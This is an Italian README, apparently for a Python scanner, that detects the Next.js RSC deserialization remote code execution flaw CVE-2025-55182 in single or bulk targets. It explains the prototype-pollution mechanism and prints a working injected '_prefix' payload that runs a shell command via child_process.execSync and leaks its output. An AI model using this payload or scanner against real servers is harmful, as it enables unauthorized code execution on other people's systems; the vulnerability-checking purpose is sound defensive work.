CVE‑2025‑55182 – Scanner RCE per Deserializzazione RSC di Next.js

Questo strumento verifica se un target è vulnerabile a CVE‑2025‑55182, un bug di Remote Code Execution causato dalla gestione non sicura dei payload dei modelli RSC (React Server Components) all'interno di Next.js.
La vulnerabilità combina Prototype Pollution → Abuso di Deserializzazione → Esecuzione JavaScript lato server.

Disclaimer: Usalo solo su sistemi di cui sei legalmente proprietario o per cui hai autorizzazione esplicita. Test non autorizzati = reato, bello.

🔥 Come Funziona Questa Vulnerabilità

Next.js elabora internamente oggetti "model" speciali inviati tramite multipart/form-data.
Se un attaccante inietta una struttura malevola come un thenable contraffatto, può avvelenare:

• __proto__
• _response._prefix
• constructor.constructor
• e altri interni

Ciò porta il server a valutare JavaScript controllato dall'attaccante, risultando in RCE completo.

📌 Cosa Fa Questo Script

• Accetta un singolo URL (-u) o un elenco di target (-l)
• Invia un payload multipart/deserializzazione creato ad arte
• Estrae l'output del comando (id) dal digest dell'errore del server
• Salva gli host vulnerabili in foxvuln.txt

▶ Utilizzo

Singolo URL

python3 main.py -u https://target.com

Modalità Elenco

python3 main.py -l list.txt

📦 Panoramica del Payload

Il payload abusa di process.mainModule.require('child_process').execSync() tramite _prefix iniettato:

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Questo forza il server a eseguire id e a far trapelare il risultato all'interno del digest lanciato (perché gli errori RSC restituiscono intenzionalmente un campo "digest" strutturato).

🧪 Output di Esempio

Target vulnerabile:

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

Non vulnerabile:

[+] Testing: https://secure.com
[NOT VULN]

🗂 File di Output

Tutti gli URL confermati vulnerabili vengono salvati in:

foxvuln.txt

Formato:

https://victim.com => uid=1000(www-data)

🧠 Note

• Funziona solo su endpoint che elaborano payload di streaming RSC di Next.js
• Non forza brute sulle route — presuppone che l'host elabori la POST su /
• Timeout impostato a 10 secondi per host
• Completamente sicuro per ambienti di laboratorio — ma non eseguirlo su server casuali a meno che tu non voglia fare un speedrun di un reato